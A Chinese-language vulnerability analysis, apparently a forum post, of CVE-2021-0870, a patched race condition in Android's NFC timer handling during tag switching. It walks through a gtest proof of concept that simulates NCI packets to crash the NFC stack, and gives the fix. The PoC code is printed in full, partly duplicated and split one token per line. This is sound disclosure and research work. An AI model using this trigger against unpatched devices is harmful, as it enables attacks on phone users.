NFC在人们的日常生活中扮演了重要角色,已经成为移动设备不可或缺的组件,NFC和蓝牙类似,都是利用无线射频技术来实现设备之间的通信.因此芯片固件和主机NFC子系统都是远程代码执行(RCE)攻击的目标。
CVE-2021-0870是一枚NFC中的RCE高危漏洞,2021年10月漏洞通告中显示已被修复https://source.android.com/security/bulletin/2021-10-01 漏洞成因是RW_SetActivatedTagType
可以通过将NFC的TCB(tag control block)置零的方式实现在不同tag之间切换,原因是TCB所在的内存区域是固定不变的,被不同tag复用.当TCB被置零后即表示上一状态已被禁用.但是新tag激活后,上一个状态的超时检测定时器仍然在工作,并且仍然引用TCB里的数据和指针,然而此时TCB已经被置零.随后新状态启动自己的定时器重写TCB中相应偏移的数据时,会产生条件竞争
Reader/Write模式:简称R/W 和NFC Tag/NFC reader有关
Peer-to-Peer模式:简称P2P 它支持两个NFC设备进行交互
NFC Card Emulation(CE) : 他能把NFC功能的设备模拟成智能卡,这样就可以实现手机支付/门禁卡功能
漏洞存在于Reader/Write模式(R/W)
NFC Tag/NFC reader是NFC系统RFID中的两个重要的组件.其中Tag是一种用于存储数据的被动式RFID tag.它自身不包含电源,而是依赖其他组件,如NFC reader通过线圈里的电磁感应给他供电,然后通过某些射频通信协议来存取NFC tag里的数据.
NFC Forum 定义了两个数据结构用于设备间的通信(不仅仅是设备之间,也包括R/W模式种的NFC Reader和NFC Tag之间交互数据) ,分别是NDEF和NFC Record
R/W模式下使用NDEF数据结构通信时,NFC设备的每一次数据交互都会被封装在一个NDEF Message中,一个Message包括多个NFC RecordMessage 的数据结构如下,他是多个record组合而成
单个record的结构如下
本文不对详细的数据结构的各个字段做出解释
漏洞存在于使用NDEF数据包通信的过程中
NFC Forum 定义了4种tag,分别为Type1,2,3,4 . 他们之前的区别在于占用存储空间的大小和使用底层协议不同.但能被NFC Reader和NFC Tag 读写的tag类型远多于4种,Android Java层提供了"android.nfc.tech"包用来处理不同类型的tag,下表列出了该包里的几个类,这些类分别处理不同类型的tag. 例如,NDEF 是用来处理Type1-4的类,
漏洞代码中出现的T1T,T2T...TT,I93,是R/W模式下,探测,读写NDEF数据包的具体实现方法,是一种技术标准.比如I93是基于 ISO 15693 的实现方法,T1T基于NFC-A , 也就是ISO 14443-3A
基于Google的测试框架gtest编写了一个集成测试文件,自动化测试框架从TEST调用poc代码:
构造poc 思路大致是 先让系统处于i93模式 然后发读数据请求 发完以后马上让从i93切换到t3t 然后就崩溃
接下来把poc拆成几个部分逐一分析
第一部分代码是
NFA_Init(&entry_funcs)用于初始化NFA的控制块.控制块的作用类似Windows中的PEB结构体
NFC允许用户在应用层注册NFC芯片硬件抽象层(HAL)的回调函数,poc中定义了一个entry_funcs回调函数表,通过NFA_Init中的NFC_Init函数将entry_funcs回调函数表注册到HAL层.直到NFC被禁用前这个函数指针数组都不会被释放.entry_funcs如下:
和在内核模块中给设备设置回调函数相似,entry_funcs相当于file_operation结构体.
entry_funcs里用很多Fake开头的回调函数重载了默认函数,然后把他塞进CallbackTracker这个类,这样做的好处是
1.函数重载可以对系统默认的回调函数进行二次包装.实现Hook功能.比如后面会看到,加入了线程同步的功能
2.只通过一个自定义的类实现所有函数的调用.让代码结构更加整洁
接着调用NFA_Enable,他调用的几个关键函数是
NFA_Enable->nfa_sys_sendmsg -> GKI_send_msg -> GKI_send_event -> pthread_cond_signal
NFA(NFC For Android)是安卓系统中NFC的实现. NFA_Enable用来使能安卓NFC,调用它时NFCC必须已经上电,该函数启动了NFC关键的几个任务,打开了NCI的传输渠道,重置了NFC 控制器,初始化整个NFC系统,他是初始化最重要的函数,一般只在系统启动时调用一次,这里我们再次调用来生成一个独立于系统NFC的单独的NFC实验环境.
nfa_sys_sendmsg函数用来发送GKI (General Kernel Interface)消息,
GKI_send_event将event从一个task发送给另一个task. 任务之间使用event数据结构的数据包,经安卓的HwBinder进行消息传递.Hwbinder是谷歌专门为供应商设计的进程间通信框架,独立于安卓系统的binder存在,是从8.0以后引入的新机制.
NFA_Enable执行完后,除了测试框架调用Test的主线程外,进程中会多出两个线程,这两个线程就是两个task,可近似理解为一个是NFCC,另一个充当客户端,这两个线程之间互相发数据包交互.作为服务端的task维护了一个命令队列,里面存放要被执行的命令,通过nfc_ncif_check_cmd_queue去检查队列里有没有命令,如果有就去执行.nfc_task是这个事件处理消息的主循环.环解析命令事件并执行相应的回调函数.代码如下, 前一个if半部分负责处理初始化,后一个if是主循环
第二部分代码如下所示
SimulatePacketArrival是poc调用频率最高的函数,模拟了从task之间数据交互的过程 .
task之间使用NCI数据包通信,NCI数据包的格式简要概述为
头部,共3字节
头部后面跟实际数据,如下所示
SimulatePacketArrival如何构造数据包呢? 以它第一次被调用为例
对比他的函数原型
可知mt->NCI_MT_NTF , pbf-> 0 , gid->NCI_GID_CORE , opcode->NCI_MSG_CORE_RESET , data->reset_core.data() , size->reset_core.size() , std::vector<uint8_t> reset_core -> {0x1, 0x29, 0x20};
先构造前三个Octect组成头部,然后在末尾插入数据
接着调用datacallback 函数发送数据给另一个task.
每一次SimulatePacketArrival调用后面都有一个代码块,例如
reset_done_cv是一个条件变量,条件变量是C++11引入的一种同步机制.调用reset_done_cv.wait时会将线程挂起,直到其他线程调用notify是才解除阻塞继续执行.合理运用条件变量可以实现不同线程之间的同步.
比如reset_done_cv解除阻塞的时机是在调用FakeWrite的时候,调用栈是
nfc_ncif_check_cmd_queue函数会调用HAL_WRITE(p_buf)函数发数据给HAL.虽然从调用栈看不出FakeWrite实际就是HAL_WRITE.但我们之前重载了 HAL_WRITE的函数指针所以HAL_WRITE实际就是FakeWrite
因为写入NFC需要被频繁调用,必须判断到来的数据包是否符合要求才能执行对应的操作,所以第一个if中判断
符合条件就会解除调用reset_done_cv.notify_one()阻塞.这里重载HAL函数指针的优势就显现出来了.FakeWrite 函数除了向HAL发送/写入数据之外,还增加了解除poc中各种条件变量阻塞的功能方便了在竞态漏洞利用中进行时序同步
代码是
将NFC开启,并进入discovery模式
代码是
NFA_RwReadNDef()会读取I93 tag里的数据,此时定时器开始启动用于检测是否超时,
下面是I93收到读请求后定时器被启动的调用栈
代码是
这段代码关闭了NFC,目的是从i93顺利切换到T3T
part5中从I93 tag中读取了数据,并且启动定时器,我们必须在定时器过期前立即调用RW_SetActivatedTagType
通知NFCC终止立即I93 Tag,并激活T3T Tag.
就调用了RW_SetActivatedTagType
RW_SetActivatedTagType 代码为
原来从一个状态切换到另一个状态的方法是调用memset(&rw_cb.tcb, 0, sizeof(tRW_TCB))
将控制块全部置零清空,虽然看起来没错,但是把控制块清空并不等价于将上个状态的上下文被全部重置,他忽略了I93tag之前启动的定时器此时仍在工作,但新的tag也会启动自己的定时器,并改写TCB中相同偏移的数据
TCB是被复用的,我们使用memset而非free,说明状态切换后,这块内存仍然存放的是TCB,所以此时系统里会出现两个定时器改写同一地址的情景
以下是T3T tag下定时器向TCB中写入数据时代码:
汇编是
调用栈是
i93定时器仍存在于定时器链表中,t3t被激活后里面的数据被t3t定时器破坏.当t3t定时器也被插入链表头部时会产生段错误
崩溃现场:
对应的源代码是while那行
下面这个调用栈并非poc的而是漏洞被发现时的,放在这仅供参考
只要在切换到下一个tag之前,将上一个tag的定时器关闭即可
安卓系统高危的漏洞近几年有多发于硬件设备的趋势.我们会持续关注该领域最新的漏洞利用,并呼吁各大厂商及时更新安全补丁.
悄悄说一句,现在是2021年12月31日,距离明年只剩下4个小时.祝大家新年快乐~~
IsoDep
Provides access to ISO-DEP (ISO 14443-4) properties and I/O operations on a Tag
.
MifareClassic
Provides access to MIFARE Classic properties and I/O operations on a Tag
.
MifareUltralight
Provides access to MIFARE Ultralight properties and I/O operations on a Tag
.
Ndef
Provides access to NDEF content and operations on a Tag
.
NdefFormatable
Provide access to NDEF format operations on a Tag
.
NfcA
Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a Tag
.
NfcB
Provides access to NFC-B (ISO 14443-3B) properties and I/O operations on a Tag
.
NfcBarcode
Provides access to tags containing just a barcode.
NfcF
Provides access to NFC-F (JIS 6319-4) properties and I/O operations on a Tag
.
NfcV
Provides access to NFC-V (ISO 15693) properties and I/O operations on a Tag
.
TEST(NfcIntegrationTest, test_mifare_state_bug) {
CallbackTracker tracker;
g_callback_tracker
=
&tracker;
NfcAdaptation& theInstance
=
NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep(
5000
);
std::vector<uint8_t> reset_core
=
{
0x1
,
0x29
,
0x20
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
NFA_EnableListening();
NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
NFA_StartRfDiscovery();
{
std::unique_lock<std::mutex> enable_lock(cv_mutex);
enable_cv.wait(enable_lock);
}
std::vector<uint8_t> init_core
=
{
0x0
,
0xa
,
0x3
,
0xca
,
0xff
,
0xff
,
0xff
,
0xff
,
0x2
,
0xe0
,
0xe0
,
0xe0
,
0xe0
,
0xe0
};
g_callback_tracker
-
>SimulatePacketArrival(NCI_MT_RSP,
0
, NCI_GID_CORE,
NCI_MSG_CORE_INIT, init_core.data(),
init_core.size());
g_callback_tracker
-
>SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
HAL_NFC_STATUS_OK);
{
std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
nfa_enable_cv.wait(nfa_enable_lock);
}
std::vector<uint8_t> discover_rf
=
{
0x0
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_RSP,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
discover_rf.size());
{
std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
rf_discovery_started_cv.wait(rf_discovery_started_lock);
}
std::vector<uint8_t> activate_rf
=
{
/
*
disc_id
*
/
0x0
,
NFC_DISCOVERY_TYPE_POLL_V,
static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
for
(
int
i
=
0
; i <
27
; i
+
+
) {
activate_rf.push_back(
0x6
);
}
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_rf.data(), activate_rf.size());
{
std::unique_lock<std::mutex> activated_lock(cv_mutex);
activated_cv.wait(activated_lock);
}
NFA_RwReadNDef();
{
std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
i93_detect_cv.wait(i93_detect_lock);
}
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
std::vector<uint8_t> deactivate_rf
=
{NFA_DEACTIVATE_TYPE_DISCOVERY,
0x1
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
deactivate_rf.data(), deactivate_rf.size());
{
std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
deactivated_cv.wait(deactivated_lock);
}
std::vector<uint8_t> activate_another_rf
=
{
/
*
disc_id
*
/
0x0
, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
for
(
int
i
=
0
; i <
70
; i
+
+
) {
activate_another_rf.push_back(
0x2
);
}
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_another_rf.data(), activate_another_rf.size());
{
std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
}
NFA_Disable(true);
{
std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
nfa_disable_cv.wait(nfa_disable_lock);
}
}
TEST(NfcIntegrationTest, test_mifare_state_bug) {
CallbackTracker tracker;
g_callback_tracker
=
&tracker;
NfcAdaptation& theInstance
=
NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep(
5000
);
std::vector<uint8_t> reset_core
=
{
0x1
,
0x29
,
0x20
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
NFA_EnableListening();
NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);
NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
NFA_StartRfDiscovery();
{
std::unique_lock<std::mutex> enable_lock(cv_mutex);
enable_cv.wait(enable_lock);
}
std::vector<uint8_t> init_core
=
{
0x0
,
0xa
,
0x3
,
0xca
,
0xff
,
0xff
,
0xff
,
0xff
,
0x2
,
0xe0
,
0xe0
,
0xe0
,
0xe0
,
0xe0
};
g_callback_tracker
-
>SimulatePacketArrival(NCI_MT_RSP,
0
, NCI_GID_CORE,
NCI_MSG_CORE_INIT, init_core.data(),
init_core.size());
g_callback_tracker
-
>SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
HAL_NFC_STATUS_OK);
{
std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
nfa_enable_cv.wait(nfa_enable_lock);
}
std::vector<uint8_t> discover_rf
=
{
0x0
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_RSP,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
discover_rf.size());
{
std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
rf_discovery_started_cv.wait(rf_discovery_started_lock);
}
std::vector<uint8_t> activate_rf
=
{
/
*
disc_id
*
/
0x0
,
NFC_DISCOVERY_TYPE_POLL_V,
static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
for
(
int
i
=
0
; i <
27
; i
+
+
) {
activate_rf.push_back(
0x6
);
}
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_rf.data(), activate_rf.size());
{
std::unique_lock<std::mutex> activated_lock(cv_mutex);
activated_cv.wait(activated_lock);
}
NFA_RwReadNDef();
{
std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
i93_detect_cv.wait(i93_detect_lock);
}
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
std::vector<uint8_t> deactivate_rf
=
{NFA_DEACTIVATE_TYPE_DISCOVERY,
0x1
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
deactivate_rf.data(), deactivate_rf.size());
{
std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
deactivated_cv.wait(deactivated_lock);
}
std::vector<uint8_t> activate_another_rf
=
{
/
*
disc_id
*
/
0x0
, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
for
(
int
i
=
0
; i <
70
; i
+
+
) {
activate_another_rf.push_back(
0x2
);
}
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
activate_another_rf.data(), activate_another_rf.size());
{
std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
}
NFA_Disable(true);
{
std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
nfa_disable_cv.wait(nfa_disable_lock);
}
}
CallbackTracker tracker;
g_callback_tracker
=
&tracker;
NfcAdaptation& theInstance
=
NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep(
5000
);
CallbackTracker tracker;
g_callback_tracker
=
&tracker;
NfcAdaptation& theInstance
=
NfcAdaptation::GetInstance();
theInstance.Initialize();
NFA_Init(&entry_funcs);
NFA_Enable(nfa_dm_callback, nfa_conn_callback);
usleep(
5000
);
tHAL_NFC_ENTRY entry_funcs
=
{
.
open
=
FakeOpen,
.close
=
FakeClose,
.core_initialized
=
FakeCoreInitialized,
.write
=
FakeWrite,
.prediscover
=
FakePrediscover,
.control_granted
=
FakeControlGranted,
};
tHAL_NFC_ENTRY entry_funcs
=
{
.
open
=
FakeOpen,
.close
=
FakeClose,
.core_initialized
=
FakeCoreInitialized,
.write
=
FakeWrite,
.prediscover
=
FakePrediscover,
.control_granted
=
FakeControlGranted,
};
uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {
...
/
*
main loop
*
/
while
(true) {
event
=
GKI_wait(
0xFFFF
,
0
);
...
/
*
Handle NFC_TASK_EVT_TRANSPORT_READY
from
NFC HAL
*
/
if
(event & NFC_TASK_EVT_TRANSPORT_READY) {
...
nfc_set_state(NFC_STATE_CORE_INIT);
nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG);
}
if
(event & NFC_MBOX_EVT_MASK) {
/
*
Process
all
incoming NCI messages
*
/
while
((p_msg
=
(NFC_HDR
*
)GKI_read_mbox(NFC_MBOX_ID)) !
=
nullptr) {
free_buf
=
true;
/
*
Determine the
input
message
type
.
*
/
switch (p_msg
-
>event & NFC_EVT_MASK) {
case BT_EVT_TO_NFC_NCI:
free_buf
=
nfc_ncif_process_event(p_msg);
break
;
case BT_EVT_TO_START_TIMER:
/
*
Start nfc_task
1
-
sec resolution timer
*
/
GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(
1
), true);
break
;
case BT_EVT_TO_START_QUICK_TIMER:
/
*
Quick
-
timer
is
required
for
LLCP
*
/
GKI_start_timer(
NFC_QUICK_TIMER_ID,
((GKI_SECS_TO_TICKS(
1
)
/
QUICK_TIMER_TICKS_PER_SEC)), true);
break
;
case BT_EVT_TO_NFC_MSGS:
nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG
*
)p_msg);
break
;
default:
DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
"nfc_task: unhandle mbox message, event=%04x"
, p_msg
-
>event);
break
;
}
if
(free_buf) {
GKI_freebuf(p_msg);
}
}
}
...
}
uint32_t nfc_task(__attribute__((unused)) uint32_t arg) {
...
/
*
main loop
*
/
while
(true) {
event
=
GKI_wait(
0xFFFF
,
0
);
...
/
*
Handle NFC_TASK_EVT_TRANSPORT_READY
from
NFC HAL
*
/
if
(event & NFC_TASK_EVT_TRANSPORT_READY) {
...
nfc_set_state(NFC_STATE_CORE_INIT);
nci_snd_core_reset(NCI_RESET_TYPE_RESET_CFG);
}
if
(event & NFC_MBOX_EVT_MASK) {
/
*
Process
all
incoming NCI messages
*
/
while
((p_msg
=
(NFC_HDR
*
)GKI_read_mbox(NFC_MBOX_ID)) !
=
nullptr) {
free_buf
=
true;
/
*
Determine the
input
message
type
.
*
/
switch (p_msg
-
>event & NFC_EVT_MASK) {
case BT_EVT_TO_NFC_NCI:
free_buf
=
nfc_ncif_process_event(p_msg);
break
;
case BT_EVT_TO_START_TIMER:
/
*
Start nfc_task
1
-
sec resolution timer
*
/
GKI_start_timer(NFC_TIMER_ID, GKI_SECS_TO_TICKS(
1
), true);
break
;
case BT_EVT_TO_START_QUICK_TIMER:
/
*
Quick
-
timer
is
required
for
LLCP
*
/
GKI_start_timer(
NFC_QUICK_TIMER_ID,
((GKI_SECS_TO_TICKS(
1
)
/
QUICK_TIMER_TICKS_PER_SEC)), true);
break
;
case BT_EVT_TO_NFC_MSGS:
nfc_main_handle_hal_evt((tNFC_HAL_EVT_MSG
*
)p_msg);
break
;
default:
DLOG_IF(INFO, nfc_debug_enabled) << StringPrintf(
"nfc_task: unhandle mbox message, event=%04x"
, p_msg
-
>event);
break
;
}
if
(free_buf) {
GKI_freebuf(p_msg);
}
}
}
...
}
std::vector<uint8_t> reset_core
=
{
0x1
,
0x29
,
0x20
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
std::vector<uint8_t> reset_core
=
{
0x1
,
0x29
,
0x20
};
g_callback_tracker
-
>SimulatePacketArrival(
NCI_MT_NTF,
0
, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
reset_core.size());
{
std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
reset_done_cv.wait(reset_done_lock);
}
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-1-9 17:10
被r0Cat编辑
,原因: